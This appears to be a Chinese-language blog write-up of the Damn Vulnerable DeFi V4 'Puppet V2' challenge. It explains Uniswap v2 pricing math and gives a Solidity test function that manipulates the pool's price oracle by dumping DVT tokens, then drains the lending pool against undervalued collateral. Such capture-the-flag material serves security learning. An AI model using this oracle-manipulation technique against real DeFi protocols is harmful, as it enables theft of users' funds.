Damn-vulnerable-defi-V4-solution(Puppet V2)

jerichou
2025-09-02 / 0 评论 / 2 阅读 / 正在检测是否收录...

一、Puppet V2

mf2d4dc3.png

Uniswap v1 和 v2 之间的区别:

Uniswap v1 交易对仅允许将一种代币兑换成 ETH。因此,要将一种代币兑换成另一种代币,必须执行两个步骤:代币 0 -> ETH -> 代币 1。Uniswap v2 允许直接兑换任意代币对。Uniswap v2 在交换功能中启用了闪电贷,因为它首先转出代币,然后在交易结束时要求偿还。

背景

我们有一个支持 Uniswap v2 的交易池。池子初始持有 100e18 DVT 代币和 10e18 WETH。我们还有一个借贷池,允许我们借入 DVT 代币,前提是我们提供价值相当于 WETH 价值 3 倍的抵押品。对于借贷池来说,WETH 和 DVT 的价值取决于交易池中 DVT 和 WETH 剩余数量的比率。

玩家初始拥有 20e18 ETH 和 10,000 DVT 代币。Uniswap v2 是一个自动做市商 (AMD),其公式为 x × y = k,其中 k 为常数,x 为 token0 的数量,y 为 token1 的数量。如果我们想将 dx 数量的 token0 兑换为 token1,兑换后我们必须:

$$ (x + dx) × (y - dy) = k $$

我们获得的token1数量等于:

$$ y - k / (x + dx) = k / x - k / (x + dx) = dx × y / (x + dx) $$

如果我们将 p = y / x 视为 token0 的价格(即它可以兑换的 token1 的数量),那么上面的公式表明,当 dx 较小时,我们获得的 token1 数量约为 p × dx,这是合理的。但是,如果 dx 相对于 x 非常大,那么价格就会受到显著影响,上述近似不再成立。

攻击思路:

是将我们的 DVT 兑换成 WETH,从而抬高 WETH 的价格,并误导借贷池中的预言机(使其认为 1 ETH 可以兑换许多 DVT)。然后,我们只需少量 WETH 作为抵押,即可借到所有 DVT 代币。

根据上述计算,如果我们尝试将 10_000e18 兑换成 WETH,池中剩余的 WETH 为 100e18 × 10e18 / (100e18 + 10_000e18),约为 0.099e18。因此,我们获得的 WETH 数量超过 9.9e18。将我们拥有的 20e18 ETH 存入 WETH 中,我们将获得超过 29.9e18 的 WETH。

现在价格是多少?我们有 10,100e18 DVT 和大约 10/101e18 WETH。价格约为 102,010,相当于 1WETH 可以换102,010DVT。所以:

需要29.9e18 × 102,010 = 3.05e24 个 WETH 然而我们需要借入1e24 个 DVT,不到这个我们 WETH 总价值的三分之一,所以WETH抵押品是足够的。

function test_puppetV2() public checkSolvedByPlayer {
        token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);
        uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens({
            amountIn: PLAYER_INITIAL_TOKEN_BALANCE,
            amountOutMin: 0,
            path: path,
            to: player,
            deadline: block.timestamp
        });
        weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}();
        weth.approve(address(lendingPool), 299e17);
        lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
        token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
    }
1

评论 (0)

取消